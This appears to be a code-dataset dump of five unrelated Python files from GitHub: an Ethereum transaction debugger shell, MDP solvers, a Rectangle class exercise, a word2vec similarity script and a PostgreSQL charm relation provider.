+{"seq_id":"40499276738","text":"# coding=utf8\nimport cmd\nfrom components.utils import *\nfrom components.contract import BytecodeContract\nfrom components.step import *\n\n\nclass DebugVM(cmd.Cmd):\n    intro = None\n    real_intro = 'Welcome to the EDB shell. Type help or ? to list commands.\\n'\n    file = None\n\n    def __init__(self, txhash: str) -> None:\n        self.txhash = txhash\n        info = w3.eth.getTransaction(txhash)\n        contract_addr = info[\"to\"]\n        self.caller = info[\"from\"]\n        self.calldata = info['input']  # 是不是不应该放这里\n        self.block_number = info['blockNumber'] - 1\n        if self.calldata:\n            self.calldata = remove_0x_prefix(self.calldata)\n        print(f\"[*] Calldata: {self.calldata}\")\n        code = w3.eth.getCode(\n            contract_addr, block_identifier=self.block_number).hex()\n        code = remove_0x_prefix(code)\n        self.contract = BytecodeContract(contract_addr, code)\n\n        self.steps = []\n        self.load_trace()\n\n        self.total = len(self.steps)\n        self.cur = 0\n        self.breakpoints = []\n        super(DebugVM, self).__init__()\n\n    def load_trace(self):\n        trace = w3.provider.make_request(\n            'debug_traceTransaction', [self.txhash, {\"disableMemory\": True}]\n        )\n        trace = trace['result']['structLogs']\n        print(f\"[i] Loaded {len(trace)} steps\")\n        last_step = None\n        cur = 0\n        for s in trace:\n            step = Step(cur, s, self.contract, self.calldata, last_step)\n            self.steps.append(step)\n            last_step = step\n            cur += 1\n\n    def start(self):\n        print(self.real_intro)\n        self.info()\n        while True:\n            try:\n                self.cmdloop()\n                break\n            except KeyboardInterrupt:\n                break\n\n    def check_cur(self):\n        self.cur = min(self.total-1, self.cur)\n        self.cur = max(0, self.cur)\n\n    def do_n(self, args):\n        \"n [delta]: Next delta steps\"\n        args = parse(args)\n        delta = 1\n        if args:\n            delta = args[0]\n        self.cur += delta\n        self.check_cur()\n        self.info()\n\n    def _run(self, delta):\n        broken = False\n        while True:\n            self.cur += delta\n            if not 0 <= self.cur < self.total:\n                break\n            bcnt = 0\n            for b in self.breakpoints:\n                if self.steps[self.cur].match(b):\n                    print(\n                        f\"Breakpoint #{bcnt} {C.OKGREEN}{b.condition_str}{C.ENDC} matched\")\n                    broken = True\n                    break\n                bcnt += 1\n            if broken:\n                break\n        self.check_cur()\n        self.info()\n        if not broken:\n            print(\"[*] Transaction finished without match any breakpoints\")\n\n    def do_rb(self, args):\n        \"rb: Run backward until match breakpoints\"\n        self._run(-1)\n\n    def do_r(self, args):\n        \"r: Run until match breakpoints\"\n        self._run(1)\n\n    def do_b(self, args):\n        \"\"\"\n        b [exp]: Add breakpoint with exp or show breakpoints\n            e.g b op==sha3;sta[-2]==0x100\n            可用条件如下：\n                op: 操作码\n                sta[xx]: 栈元素\n                sto[xx]: storage元素\n                pc: pc\n        \"\"\"\n        print()\n        if not args.strip():\n            self.show_breakpoints()\n            return\n        self.breakpoints.append(Breakpoint(args))\n        print(f\"Breakpoint #{len(self.breakpoints)-1} added:\")\n        self.breakpoints[-1].inspect()\n\n    def show_breakpoints(self):\n        print(\"Breakpoints:\")\n        bcnt = 0\n        for b in self.breakpoints:\n            print(f\"  #{bcnt}: {C.OKGREEN}{b.condition_str}{C.ENDC}\")\n            bcnt += 1\n        if not self.breakpoints:\n            print(f\"  (empty)\")\n        print()\n        return\n\n    def do_p(self, args):\n        \"p mem|sto|sta: Print memory or storage or stack (full print)\"\n        args = args.strip()\n        if args == 'mem':\n            self.print_memory(Z_MAX)\n        elif args == 'sto':\n            self.print_storage(Z_MAX)\n        elif args == 'sta':\n            self.print_stack()\n        else:\n            print(f\"[x] Unkown {args} to print\")\n\n    def do_x(self, args):\n        \"x mem[a:b]|sto[k]|sta[k]: Print memory or storage or stack value at specified position\"\n        args = args.strip()\n        if args.startswith('mem'):\n            l, r = map(eval, args.split('[')[-1].strip(']').split(':'))\n            print(self.steps[self.cur].memory.get(l, r-l))\n        elif args.startswith('sto'):\n            k = eval(args.split('[')[-1].strip(']'))\n            k = hex(k)[2:].zfill(64)\n            record = self.steps[self.cur].storage.get(k, None)\n            if not record:\n                print(\"No record, loading origin data from chain\")\n                record = self.get_old_storage(self.contract.addr, k)\n            print(record)\n        elif args.startswith('sta'):\n            k = eval(args.split('[')[-1].strip(']'))\n            print(self.steps[self.cur].stack[k])\n        else:\n            print(f\"[x] Unkown {args} to exp\")\n\n    def do_db(self, args):\n        \"db [k]: Delete breakpoint #k\"\n        print()\n        args = parse(args)\n        if not args or args[0] >= len(self.breakpoints) or args[0] < 0:\n            print(\"Invalid breakpoint id to delete\")\n        print(\n            f\"Deleted breakpoint #{args[0]}: {C.OKGREEN}{self.breakpoints[args[0]].condition_str}{C.ENDC}\")\n        del self.breakpoints[args[0]]\n        self.show_breakpoints()\n\n    def do_g(self, args):\n        \"goto step: Goto step\"\n        args = parse(args)\n        if not args:\n            print(\"Wrong destination\")\n            return\n        self.cur = args[0] - 1\n        self.check_cur()\n        self.info()\n\n    def do_q(self, args):\n        \"Quit\"\n        return True\n\n    def do_j(self, args):\n        \"j: Print jump info\"\n        self.print_jump()\n\n    def do_ws(self, args):\n        \"ws stack_k: Run back to watch who changed stack[k]\"\n        args = parse(args)\n        k = args[0]\n        if k < 0:\n            k += len(self.steps[self.cur].stack)\n        check_stack = self.steps[self.cur].stack[:k+1]\n        found = False\n        while True:\n            self.cur -= 1\n            if not 0 <= self.cur < self.total:\n                break\n            if self.steps[self.cur].stack[:k+1] != check_stack:\n                found = True\n                break\n        self.check_cur()\n        self.info()\n        if not found:\n            print(\"[*] Cannot found who changed the stack\")\n\n    def print_stack(self):\n        stack = self.steps[self.cur].stack\n        print(\"Stack:\")\n        l = len(stack)\n        for i in range(l):\n            print(\n                f\"  {C.WARNING}{stack[i]}{C.ENDC} ({str(l-i-1) + ' from ' if i<l-1 else ''}top)\")\n        if not stack:\n            print(\"  (empty)\")\n        print()\n\n    def get_old_storage(self, addr, offset):\n        return w3.eth.get_storage_at(addr, offset, block_identifier=self.block_number).hex()\n\n    def print_pc(self):\n        ins: Ins = self.steps[self.cur].ins\n        print(f\"({self.cur+1}/{self.total})\", end=' ')\n        print(f\"{C.OKCYAN}{ins.short_str()}{C.ENDC}\")\n        print(f\"  PC = {ins.addr} = {hex(ins.addr)}\")\n        print()\n\n    def print_storage(self, max_size=MAX_SIZE):\n        storage = self.steps[self.cur].storage\n        print(\"Storage:\")\n        l = min(len(storage), max_size)\n        keys = sorted([int(x, 16) for x in storage.keys()])\n        for i in range(l):\n            k = hex(keys[i])[2:].zfill(64)\n            print(f\"  {k}: \", end='')\n            print(f\"  {C.OKBLUE}{storage[k]}{C.ENDC}\")\n        if len(storage) > max_size:\n            print(f\"  ...\")\n        if not storage:\n            print(\"  (empty)\")\n        print()\n\n    def print_memory(self, max_size=MAX_SIZE):\n        memory: Memory = self.steps[self.cur].memory\n        memory.show(max_size)\n\n    def print_jump(self):\n        self.steps[self.cur].print_jump()\n\n    @property\n    def prompt(self):\n        return f\"debug({self.contract.addr})> \"\n\n    def info(self):\n        print()\n        self.print_memory()\n        self.print_storage()\n        self.print_stack()\n        # self.print_jump()\n        self.print_pc()\n","repo_name":"RandomNB/EDB","sub_path":"components/vm.py","file_name":"vm.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"}
+{"seq_id":"73162325202","text":"# Defines classes for a general MDP problem and associated problem solvers.\n# By: Patrick Han\nimport random\nimport numpy as np\n\nclass MDP:\n    def __init__(self, env, horizon, gamma, epsilon):\n        \"\"\"\n        Initialize an MDP problem\n        args:\n            states: All possible states\n            actions: Possible actions that can be taken\n            probabilities: Transition probabilities between states under some action\n            rewards: Immediate rewards received for state transitions under some action\n            horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n            gamma: Discount factor on future rewards, float [0.0, 1.0]\n            epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n        \"\"\"\n        self._env = env\n        self._states = env._states\n        self._actions = env._actions\n        self._probabilities = env._transition_probabilities\n        self._rewards = env._rewards\n        assert horizon == -1 or (type(horizon) is int and horizon >= 0)\n        self._horizon = horizon\n        self._gamma = gamma\n        self._epsilon = epsilon\n\n        # Policy maps between states and actions\n        self.policy = {}\n\n        # Value initalization\n        self.V = np.zeros(len(self._states)) # Zero initialize values\n\n    def phi_1(self, state):\n        \"\"\"\n        Computes value given state for basis function 1, where phi(s) = dist between R1 and G1\n        \"\"\"\n        return numpy.linalg.norm(state)\n\n\n    def bellmanBackup(self, update_value):\n        \"\"\"\n        Applies the bellman operator T on the current value V and updates self.V and self.policy\n        \"\"\"\n\n        P = self._probabilities\n        R = self._rewards\n\n        # Very slow way of doing things, should be able to be vectorized but right now my brain hurts after writing this class all morning\n        for i, sv in enumerate(self.V):\n            Q = np.zeros(len(self._actions))\n            for k, a in enumerate(self._actions):\n                running_sum = 0 # Sum over all s_primes (future state)\n                for j, s_prime in enumerate(self._states):\n                    running_sum += P[a][i][j] * (R[a][i][j] + self._gamma * self.V[j])\n                Q[k] = running_sum\n\n            if update_value: # Value should only be updated during Value Iteration\n                self.V[i] = np.max(Q) # Maximize over all actions to get new V\n            self.policy[i] = self._actions[np.argmax(Q)] # Argmax over all actions to update the policy\n\nclass BasisFunctions(MDP):\n    def __init__(self, env, horizon, gamma, epsilon):\n        MDP.__init__(self, env, horizon, gamma, epsilon)\n\n        self.phi = [self.phi1, self.phi2, self.phi3, self.phi4]\n\n    def dist(self, s1, s2):\n        return np.sqrt(sum([(s1[i]-s2[i])**2 for i in range(len(s1))]))\n\n    def phi1(self, s):\n        state = self._env._states_map[s]\n        return min([self.dist(state, goal) for goal in self._env._goals])\n\n    def phi2(self, s):\n        state = self._env._states_map[s]\n        return min([self.dist(state, goal) for goal in self._env._goals])\n\n    def phi3(self, s):\n        state = self._env._states_map[s]\n        return self.dist(state, state)\n\n    def phi4(self, s):\n        if s in self._env._obstacles:\n            return -1000\n        return 0\n\n    def getBasisValues(self, s):\n        basisValues = np.zeros(len(self.phi))\n        for i, phiI in enumerate(self.phi):\n            basisValues[i] = phiI(s)\n        return basisValues\n\n    def approxValue(self, Theta, s):\n        return sum([Theta[i]*phiI(s) for i, phiI in enumerate(self.phi)])\n\n\nclass ValueIteration(MDP):\n    def __init__(self, env, horizon, gamma, epsilon):\n        \"\"\"\n        Initialize a Value Iteration MDP problem solver, inherits from MDP class\n        args:\n            states: All possible states\n            actions: Possible actions that can be taken\n            probabilities: Transition probabilities between states under some action\n            rewards: Immediate rewards received for state transitions under some action\n            horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n            gamma: Discount factor on future rewards, float [0.0, 1.0]\n            epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n        \"\"\"\n        MDP.__init__(self, env, horizon, gamma, epsilon)\n\n        # Decide if we need to solve on an infinite or finite horizon\n        self.use_infinite_horizon = False\n        if self._horizon == -1:\n            self.use_infinite_horizon = True\n        self.iteration = 0 # If horizon is finite, we need to check\n\n        # Initialize a deterministic policy which is a mapping between states and actions\n        for state in self._states:\n            # We can check to make sure that every state has an action later (i.e. not False), this is a really hacky way to do it for now\n            self.policy[state] = False\n\n\n    def run(self):\n        \"\"\"\n        Runs the Value Iteration algorithm\n        \"\"\"\n        if self._horizon == 0:\n            return\n\n        while(True):\n            self.iteration += 1\n\n            Vprevious = self.V.copy()\n\n            # Apply bellman operator to update V and the policy\n            self.bellmanBackup(update_value = True)\n\n            # Stopping criteria\n            if self.use_infinite_horizon:\n                if np.max(np.abs(Vprevious - self.V)) <= self._epsilon: # If the max absolute difference is less than epsilon\n                    break\n            elif self.iteration == self._horizon:\n                break\n\n\nclass ValueIterationApprox(BasisFunctions):\n    def __init__(self, env, horizon, gamma, epsilon):\n        \"\"\"\n        Initialize a Value Iteration MDP problem solver, inherits from MDP class\n        args:\n            states: All possible states\n            actions: Possible actions that can be taken\n            probabilities: Transition probabilities between states under some action\n            rewards: Immediate rewards received for state transitions under some action\n            horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n            gamma: Discount factor on future rewards, float [0.0, 1.0]\n            epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n        \"\"\"\n        BasisFunctions.__init__(self, env, horizon, gamma, epsilon)\n\n        self.Theta = np.random.rand(len(self.phi))\n\n        # Decide if we need to solve on an infinite or finite horizon\n        self.use_infinite_horizon = False\n        if self._horizon == -1:\n            self.use_infinite_horizon = True\n        self.iteration = 0 # If horizon is finite, we need to check\n\n        # Initialize a deterministic policy which is a mapping between states and actions\n        for state in self._states:\n            # We can check to make sure that every state has an action later (i.e. not False), this is a really hacky way to do it for now\n            self.policy[state] = False\n            \n    def linearRegression(self, basisValues, vValue):\n        thetaValues = []\n        basisSummation = 0\n        for basisValue in basisValues:\n            basisSummation += basisValue ** 2\n            thetaValues.append(basisValue * vValue)\n        for i in range(len(thetaValues)):\n            thetaValues[i] /= basisSummation\n        return thetaValues\n\n    def run(self):\n        \"\"\"\n        Runs the Value Iteration algorithm\n        \"\"\"\n        if self._horizon == 0:\n            return\n\n        while(True):\n            print(self.iteration)\n            self.iteration += 1\n\n            Vprevious = self.V.copy()\n\n            for i, currentState in enumerate(self._states):\n                # Get the approximated values using theta and the current state\n                vHat = self.approxValue(self.Theta, currentState)\n                # Calculate the vBar values\n                for a, action in enumerate(self._actions):\n                    maxValueList = []\n                    running_sum = 0\n                    for j, nextState in enumerate(self._states):\n                        running_sum += self._probabilities[a][i][j] * (self._rewards[a][i][j] + (self._gamma * vHat))\n                    maxValueList.append(running_sum)\n                vBar = max(maxValueList)\n                print(self.Theta)\n                self.Theta = self.linearRegression(self.getBasisValues(currentState), vBar)\n                print(vBar)\n                print(self.Theta)\n                \n\n            # Stopping criteria\n            if self.use_infinite_horizon:\n                if np.max(np.abs(Vprevious - self.V)) <= self._epsilon: # If the max absolute difference is less than epsilon\n                    break\n            elif self.iteration == self._horizon:\n                break\n\n\nclass PolicyIteration(MDP):\n    def __init__(self, env, horizon, gamma, epsilon):\n        \"\"\"\n        Initialize a Policy Iteration MDP problem solver, inherits from MDP class\n        args:\n            states: All possible states\n            actions: Possible actions that can be taken\n            probabilities: Transition probabilities between states under some action\n            rewards: Immediate rewards received for state transitions under some action\n            horizon: Horizon, -1 for infinite or a positive integer for finite horizon\n            gamma: Discount factor on future rewards, float [0.0, 1.0]\n            epsilon: Stopping criteria, maximum change in value function for each iteration before stopping\n        \"\"\"\n        MDP.__init__(self, env, horizon, gamma, epsilon)\n\n\n        # Decide if we need to solve on an infinite or finite horizon\n        self.use_infinite_horizon = False\n        if self._horizon == -1:\n            self.use_infinite_horizon = True\n        self.iteration = 0 # If horizon is finite, we need to check\n\n        # Initialize a randomized deterministic policy which is a mapping between states and actions\n        for state in self._states:\n            self.policy[state] = random.choice(self._actions)\n\n\n    def run(self):\n        \"\"\"\n        Runs the Policy Iteration algorithm\n        \"\"\"\n        if self._horizon == 0:\n            return\n\n        while(True):\n            self.iteration += 1\n\n            Vprevious = self.V.copy()\n            policyPrevious = self.policy.copy()\n\n\n            # 1. Policy Evaluation: Compute V^(pi_i) from policy_i\n            num_states = len(self._states)\n            P_bar = np.zeros((num_states, num_states))\n            for m, s in enumerate(self._states): # Build P_bar, i.e. transition probabilities under the current policy\n                for n, s_prime in enumerate(self._states):\n                    P_bar[m][n] = self._probabilities[self.policy[s]][m][n] # The probability of going from s to s_prime under the current policy\n\n            R_bar = np.zeros((num_states, num_states))\n            for m, s in enumerate(self._states): # Build R_bar, i.e. rewards under the current policy\n                for n, s_prime in enumerate(self._states):\n                    R_bar[m][n] = self._rewards[self.policy[s]][m][n] # The probability of going from s to s_prime under the current policy\n\n            D_bar = np.diag(np.matmul(P_bar, R_bar.T))\n            V_bar = np.matmul(np.linalg.inv(np.eye(num_states) - self._gamma * P_bar), D_bar)\n\n            # Update Value for Policy Refinement\n            self.V = V_bar\n\n            # 2. Policy Refinement: Compute policy_(i+1) from V^(pi_i)\n            self.bellmanBackup(update_value = False) # Only update self.policy\n\n\n            if self.use_infinite_horizon:\n                # Stopping criteria - Either the value doesn't change between steps or policy doesn't change\n                if np.max(np.abs(Vprevious - self.V)) <= self._epsilon: # If the value is unchanging\n                    break\n                elif self.policy == policyPrevious: # Dunno if this is a good idea\n                    break\n            if self.iteration == self._horizon:\n                break","repo_name":"eilims/FrontRowIceCreamShop","sub_path":"mdp/mdp.py","file_name":"mdp.py","file_ext":"py","file_size_in_byte":12086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"27637636302","text":"#!/usr/bin/python3\n\n\"\"\"\nThis module defines a Rectangle class.\n\nThe Rectangle class has width and height attributes.\n\"\"\"\n\n\nclass Rectangle:\n    \"\"\"\n    This is a simple Rectangle class.\n\n    It can be used to represent rectangles with width and height attributes.\n\n    Attributes:\n        width (int): The width of the rectangle.\n        height (int): The height of the rectangle.\n    \"\"\"\n\n    def __init__(self, width=0, height=0):\n        self.__width = width\n        self.__height = height\n\n    @property\n    def width(self):\n        return self.__width\n\n    @width.setter\n    def width(self, value):\n        if not isinstance(value, int):\n            raise TypeError(\"width must be an integer\")\n        if value < 0:\n            raise ValueError(\"width must be >= 0\")\n        self.__width = value\n\n    @property\n    def height(self):\n        return self.__height\n\n    @height.setter\n    def height(self, value):\n        if not isinstance(value, int):\n            raise TypeError(\"height must be an integer\")\n        if value < 0:\n            raise ValueError(\"height must be >= 0\")\n        self.__height = value\n\n\nif __name__ == \"__main__\":\n    # Example usage:\n    myrectangle = Rectangle(2, 4)\n    print(sorted(myrectangle.__dict__))\n\n    try:\n        myrectangle.width = -4\n    except Exception as e:\n        print(\"[{}] {}\".format(e.__class__.__name__, e))\n\n    try:\n        myrectangle.height = \"4\"\n    except Exception as e:\n        print(\"[{}] {}\".format(e.__class__.__name__, e))\n\n    print(myrectangle.width)\n    print(myrectangle.height)\n\n    myrectangle = Rectangle(4)\n    print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n    myrectangle = Rectangle()\n    print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n    myrectangle = Rectangle(2, 4)\n    print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n    myrectangle.width = 10\n    print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n    myrectangle = Rectangle(2, 4)\n    print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n    myrectangle.height = 10\n    print(\"{} - {}\".format(myrectangle.width, myrectangle.height))\n\n    try:\n        myrectangle = Rectangle(2, \"3\")\n    except Exception as e:\n        print(\"[{}] {}\".format(e.__class__.__name__, e))\n\n    try:\n        myrectangle = Rectangle(\"2\", 3)\n    except Exception as e:\n        print(\"[{}] {}\".format(e.__class__.__name__, e))\n","repo_name":"brucetravis/alx-higher_level_programming","sub_path":"0x08-python-more_classes/1-rectangle.py","file_name":"1-rectangle.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24370757664","text":"import pickle\nimport numpy as np\nimport time\nimport math\n\n# Loads vectors of processed word2vec vectors into array of tuples for processing\n# Each tuple is (word/sui, [vector array])\ndef load_vectors(file):\n\tword2index={}\n\twith(open(file, \"r\", encoding=\"ISO-8859-1\")) as inp_file:\n\t\tvector_count, dimensions = [int(i) for i in inp_file.readline().strip().split()]\n\t\tmatrix = np.zeros((vector_count, dimensions))\n\n\t\ti = 0\n\t\tfor line in inp_file:\n\t\t\tvals = line.strip().split()\n\t\t\tif len(vals) != dimensions + 1:\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tword2index[vals[0]] = i\t\n\t\t\tmatrix[i, :] = [float(j) for j in vals[1:]]\n\t\t\ti+=1\n\t\treturn word2index, matrix\n\n# Given a matrix, normalize each row based on the L2-norm\ndef normalize_L2(matrix):\n\tfor i in range(matrix.shape[0]):\n\t\tmatrix[i,:] /= np.linalg.norm(matrix[i,:])\n\treturn matrix\n\n# Create a sorted list of the closest vectors based on dot product\ndef dot_prod(index, matrix, kvals):\n\tq = matrix[index, :]\n\tsimilarity = matrix.dot(q)\n\t# Initialize a list to hold the returned top-k vals\n\ttopvals = []\n\t# Using a minimum similarity variable to reduce size of list\n\tmin_sim = 0\n\tfor i in range(similarity.shape[0]):\n\t\tif similarity[i] > min_sim or len(topvals) < kvals:\n\t\t\ttopvals, min_sim = insert_val(topvals, similarity[i], index, i, kvals)\n\treturn topvals\n\n\n# Helper function for inserting\ndef insert_val(list, val, target_index, word_index, kvals):\n\tif target_index == word_index:\n\t\treturn list, val\n\tif len(list) >= kvals:\n\t\tlist.pop(kvals-1)\n\tif len(list) == 0:\n\t\tlist.insert(0, (word_index, val))\n\t\treturn list, val\n\n\tindex = binary_insert(list, val, 0, len(list) - 1)\n\tlist.insert(index, (word_index, val))\n\treturn list, list[len(list)-1][1]\n\n\ndef binary_insert(list, val, start, end):\n\tif start == end:\n\t\tif list[start][1] < val:\n\t\t\treturn start\n\t\telse:\n\t\t\treturn start+1\n\n\tif start > end:\n\t\treturn start\n\tmiddle_num = math.floor((start+end)/2)\n\tif val < list[middle_num][1]:\n\t\treturn binary_insert(list, val, middle_num+1, end)\n\telif val > list[middle_num][1]:\n\t\treturn binary_insert(list, val, start, middle_num-1)\n\telse:\n\t\treturn middle_num\n\n\nif __name__ == \"__main__\":\n\tprint(\"STARTED\")\n\t# Get the cui code dictionary\n\tstart_time = time.time()\n\t#concept_dict, SUI_TO_CUI = concept_identifiers(\"MRCONSO.RRF\")\n\tend_time = time.time()\n\t\n\t# Load vectors from word2vec file\n\tstart_time=time.time()\n\tword2index, matrix = load_vectors(\"vec.txt\")\n\tend_time = time.time()\n\tprint(\"Load vectors runtime:{}\".format(str((end_time-start_time)/60)))\n\n\t# Normalize matrix\n\t\n\tstart_time=time.time()\n\tmatrix = normalize_L2(matrix)\n\tend_time = time.time()\n\tprint(\"Normalize matrix runtime:{}\".format(str((end_time-start_time)/60)))\n\t\t\n\tindex2word = dict([(i, w) for w, i in word2index.items()])\n\n\tSUI_to_string = pickle.load(open(\"SUIToString\", \"rb\"))\n\t\n\tstart_time=time.time()\n\tnum_of_words = 10000\n\trankings = []\t\n\n\tfor i in range(num_of_words):\n\t\tif index2word[i] in SUI_to_string:\n\t\t\tsimwords = dot_prod(i, matrix, 50)\n\t\t\trankings.append((index2word[i], simwords))\n\tend_time=time.time()\n\tprint(\"Generate N:{}\".format(str((end_time-start_time)/60)))\n\tpickle.dump(rankings, open(\"word-rankings.p\", \"wb\"))\n\tpickle.dump(index2word, open(\"index2word.p\", \"wb\"))\n","repo_name":"jake612/ResearchCode","sub_path":"UMLS_CUI_Set.py","file_name":"UMLS_CUI_Set.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35430558156","text":"import logging\n\nfrom charms.data_platform_libs.v0.data_interfaces import (\n    DatabaseProvides,\n    DatabaseRequestedEvent,\n)\nfrom charms.postgresql_k8s.v0.postgresql import (\n    INVALID_EXTRA_USER_ROLE_BLOCKING_MESSAGE,\n    PostgreSQLCreateDatabaseError,\n    PostgreSQLCreateUserError,\n    PostgreSQLDeleteUserError,\n    PostgreSQLGetPostgreSQLVersionError,\n    PostgreSQLListUsersError,\n)\nfrom ops.charm import CharmBase, RelationBrokenEvent\nfrom ops.framework import Object\nfrom ops.model import ActiveStatus, BlockedStatus, Relation\n\nfrom constants import ALL_CLIENT_RELATIONS, APP_SCOPE, DATABASE_PORT\nfrom utils import new_password\n\nlogger = logging.getLogger(__name__)\n\n\nclass PostgreSQLProvider(Object):\n    \"\"\"Defines functionality for the 'provides' side of the 'postgresql-client' relation.\n\n    Hook events observed:\n        - database-requested\n        - relation-broken\n    \"\"\"\n\n    def __init__(self, charm: CharmBase, relation_name: str = \"database\") -> None:\n        \"\"\"Constructor for PostgreSQLClientProvides object.\n\n        Args:\n            charm: the charm for which this relation is provided\n            relation_name: the name of the relation\n        \"\"\"\n        self.relation_name = relation_name\n\n        super().__init__(charm, self.relation_name)\n        self.framework.observe(\n            charm.on[self.relation_name].relation_broken, self._on_relation_broken\n        )\n\n        self.charm = charm\n\n        # Charm events defined in the database provides charm library.\n        self.database_provides = DatabaseProvides(self.charm, relation_name=self.relation_name)\n        self.framework.observe(\n            self.database_provides.on.database_requested, self._on_database_requested\n        )\n\n    def _on_database_requested(self, event: DatabaseRequestedEvent) -> None:\n        \"\"\"Generate password and handle user and database creation for the related application.\"\"\"\n        # Check for some conditions before trying to access the PostgreSQL instance.\n        if not self.charm.unit.is_leader():\n            return\n\n        if (\n            \"cluster_initialised\" not in self.charm._peers.data[self.charm.app]\n            or not self.charm._patroni.member_started\n            or not self.charm.primary_endpoint\n        ):\n            event.defer()\n            logger.debug(\n                \"Deferring on_database_requested: cluster not initialized, Patroni not started or primary endpoint not available\"\n            )\n            return\n\n        # Retrieve the database name and extra user roles using the charm library.\n        database = event.database\n        extra_user_roles = event.extra_user_roles\n\n        try:\n            # Creates the user and the database for this specific relation.\n            user = f\"relation-{event.relation.id}\"\n            password = new_password()\n            self.charm.postgresql.create_user(user, password, extra_user_roles=extra_user_roles)\n            plugins = [\n                \"_\".join(plugin.split(\"_\")[1:-1])\n                for plugin in self.charm.config.plugin_keys()\n                if self.charm.config[plugin]\n            ]\n\n            self.charm.postgresql.create_database(database, user, plugins=plugins)\n\n            # Share the credentials with the application.\n            self.database_provides.set_credentials(event.relation.id, user, password)\n\n            # Update the read/write and read-only endpoints.\n            self.update_endpoints(event)\n\n            # Set the database version.\n            self.database_provides.set_version(\n                event.relation.id, self.charm.postgresql.get_postgresql_version()\n            )\n\n            # Set the database name\n            self.database_provides.set_database(event.relation.id, database)\n\n            self._update_unit_status(event.relation)\n        except (\n            PostgreSQLCreateDatabaseError,\n            PostgreSQLCreateUserError,\n            PostgreSQLGetPostgreSQLVersionError,\n        ) as e:\n            logger.exception(e)\n            self.charm.unit.status = BlockedStatus(\n                e.message\n                if issubclass(type(e), PostgreSQLCreateUserError) and e.message is not None\n                else f\"Failed to initialize {self.relation_name} relation\"\n            )\n\n    def _on_relation_broken(self, event: RelationBrokenEvent) -> None:\n        \"\"\"Correctly update the status.\"\"\"\n        self._update_unit_status(event.relation)\n\n    def oversee_users(self) -> None:\n        \"\"\"Remove users from database if their relations were broken.\"\"\"\n        if not self.charm.unit.is_leader():\n            return\n\n        # Retrieve database users.\n        try:\n            database_users = {\n                user for user in self.charm.postgresql.list_users() if user.startswith(\"relation-\")\n            }\n        except PostgreSQLListUsersError:\n            return\n\n        # Retrieve the users from the active relations.\n        relations = [\n            relation\n            for relation_name, relations_list in self.model.relations.items()\n            for relation in relations_list\n            if relation_name in ALL_CLIENT_RELATIONS\n        ]\n        relation_users = set()\n        for relation in relations:\n            username = f\"relation-{relation.id}\"\n            relation_users.add(username)\n\n        # Delete that users that exist in the database but not in the active relations.\n        for user in database_users - relation_users:\n            try:\n                logger.info(\"Remove relation user: %s\", user)\n                self.charm.set_secret(APP_SCOPE, user, None)\n                self.charm.set_secret(APP_SCOPE, f\"{user}-database\", None)\n                self.charm.postgresql.delete_user(user)\n            except PostgreSQLDeleteUserError:\n                logger.error(f\"Failed to delete user {user}\")\n\n    def update_endpoints(self, event: DatabaseRequestedEvent = None) -> None:\n        \"\"\"Set the read/write and read-only endpoints.\"\"\"\n        if not self.charm.unit.is_leader():\n            return\n\n        # Get the current relation or all the relations\n        # if this is triggered by another type of event.\n        relations = [event.relation] if event else self.model.relations[self.relation_name]\n\n        # If there are no replicas, remove the read-only endpoint.\n        replicas_endpoint = self.charm.members_ips - {self.charm.primary_endpoint}\n        read_only_endpoints = (\n            \",\".join(f\"{x}:{DATABASE_PORT}\" for x in replicas_endpoint)\n            if len(replicas_endpoint) > 0\n            else \"\"\n        )\n\n        for relation in relations:\n            # Set the read/write endpoint.\n            self.database_provides.set_endpoints(\n                relation.id,\n                f\"{self.charm.primary_endpoint}:{DATABASE_PORT}\",\n            )\n\n            # Set the read-only endpoint.\n            self.database_provides.set_read_only_endpoints(\n                relation.id,\n                read_only_endpoints,\n            )\n\n    def _update_unit_status(self, relation: Relation) -> None:\n        \"\"\"# Clean up Blocked status if it's due to extensions request.\"\"\"\n        if (\n            self.charm.is_blocked\n            and self.charm.unit.status.message == INVALID_EXTRA_USER_ROLE_BLOCKING_MESSAGE\n        ):\n            if not self.check_for_invalid_extra_user_roles(relation.id):\n                self.charm.unit.status = ActiveStatus()\n\n    def check_for_invalid_extra_user_roles(self, relation_id: int) -> bool:\n        \"\"\"Checks if there are relations with invalid extra user roles.\n\n        Args:\n            relation_id: current relation to be skipped.\n        \"\"\"\n        valid_privileges, valid_roles = self.charm.postgresql.list_valid_privileges_and_roles()\n        for relation in self.charm.model.relations.get(self.relation_name, []):\n            if relation.id == relation_id:\n                continue\n            for data in relation.data.values():\n                extra_user_roles = data.get(\"extra-user-roles\")\n                if extra_user_roles is None:\n                    break\n                extra_user_roles = extra_user_roles.lower().split(\",\")\n                for extra_user_role in extra_user_roles:\n                    if (\n                        extra_user_role not in valid_privileges\n                        and extra_user_role not in valid_roles\n                    ):\n                        return True\n        return False\n","repo_name":"canonical/postgresql-operator","sub_path":"src/relations/postgresql_provider.py","file_name":"postgresql_provider.py","file_ext":"py","file_size_in_byte":8396,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
